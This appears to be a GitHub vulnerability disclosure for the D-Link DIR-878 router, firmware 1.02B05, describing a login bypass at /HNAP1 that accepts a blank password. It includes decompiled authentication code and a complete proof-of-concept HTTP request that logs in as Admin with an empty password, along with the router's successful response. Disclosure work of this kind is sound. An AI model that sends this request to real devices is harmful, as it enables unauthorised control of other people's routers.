RobinWang825 / **IoT_vuln** Public

Code

Issues 1

Pull requests

Actions

Projects

Security

Insights

main

IoT_vuln/D-Link/DIR-878/**3**/

wangshi

...

Nov 1, 2022

..

images

readme.md

adme.md

D-Link DIR878(1.02B05) has a Incorrect Access Control Vulnerability

Product

1. product information: http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-878
2. firmware download: http://support.dlink.com.cn:9000/download.ashx?file=6519

Affected version

1.02B05

Vulnerability

An issue was discovered on D-Link DIR-878 1.02B05 devices. At the `/HNAP1` URI, an attacker can log in with a blank password. This can lead to **incorrect access control** vulnerabilities.

The DIR-878 authentication process is SOAP authentication. This problem occurs during the login request for SOAP.

```
1  int __fastcall sub_4206C0(int a1)
2  {
3    int v1; // $v0
4    int v2; // $v0
5    int v3; // $s0
6    int v4; // $v0
7    int result; // $v0
8    int i; // [sp+20h] [-1A0h]
9    int v7; // [sp+24h] [-19Ch]
10   int v8; // [sp+2Ch] [-194h]
11   _BYTE *v9; // [sp+34h] [-18Ch]
12   int v10; // [sp+38h] [-188h]
13   char v11[64]; // [sp+3Ch] [-184h] BYREF
14   char v12[64]; // [sp+7Ch] [-144h] BYREF
15   char v13[64]; // [sp+BCh] [-104h] BYREF
16   char v14[64]; // [sp+FCh] [-C4h] BYREF
17   char v15[132]; // [sp+13Ch] [-84h] BYREF
18
19   memset(v11, 0, sizeof(v11));
20   memset(v12, 0, sizeof(v12));
21   memset(v13, 0, sizeof(v13));
22   memset(v14, 0, sizeof(v14));
23   memset(v15, 0, 128);
24   if ( sub_421A44(a1) )
25   {
26     sub_424C88(a1, 5);
27     result = 1;
28   }
29   else
30   {
31     webGetVarString(a1, (int)"/Login/Action");
32     v8 = webGetVarString(a1, (int)"/Login/Username");
33     webGetVarString(a1, (int)"/Login/LoginPassword");          vuln
34     v9 = (_BYTE *)webGetVarString(a1, (int)"/Login/Captcha");
35     v10 = webGetVarString(a1, (int)"/Login/PrivateLogin");
36     v1 = nvram_safe_get("CAPTCHA");
37     if ( atoi(v1) || *v9 )
38     {
```

PoC

Raw | Params | Headers | Hex

Pretty | 原始 | \n | Actions

```
1  POST /HNAP1/ HTTP/1.1
2  Host: 192.168.0.1
3  Content-Length: 398
4  Accept: */*
5  X-Requested-With: XMLHttpRequest
6  HNAP_AUTH: F87CFF61E0F7AF095001762D2A60EC9B 1619499160051
7  SOAPAction: "http://purenetworks.com/HNAP1/Login"
8  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
9  Content-Type: text/xml; charset=UTF-8
10 Origin: http://192.168.0.1
11 Referer: http://192.168.0.1/info/Login.html
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh-CN,zh;q=0.9
14 Cookie: uid=HiZRcNKI
15 Connection: close
16
17 <?xml version="1.0" encoding="utf-8"?>
   <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org
     <soap:Body>
       <Login xmlns="http://purenetworks.com/HNAP1/">
         <Action>
           login
         </Action>
         <Username>
           Admin
         </Username>
         <LoginPassword>
         </LoginPassword>
         <Captcha>
         </Captcha>
       </Login>
     </soap:Body>
   </soap:Envelope>
```

Raw | Headers | Hex

Pretty | 原始 | Render | \n | Actions

```
1  HTTP/1.1 200 OK
2  Connection: close
3  Content-type: text/xml
4  Date: Tue, 27 Apr 2021 12:52:47 GMT
5  Server: lighttpd/1.4.20
6  Content-Length: 320
7
8
9  <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchem
10   <soap:Body>
       <LoginResponse xmlns="http://purenetworks.com/HNAP1/"
11       <LoginResult>
           OK
         </LoginResult>
12     </LoginResponse>
13   </soap:Body>
14 </soap:Envelope>
15
```

© 2022 GitHub, Inc.
Terms
Privacy
Security
Status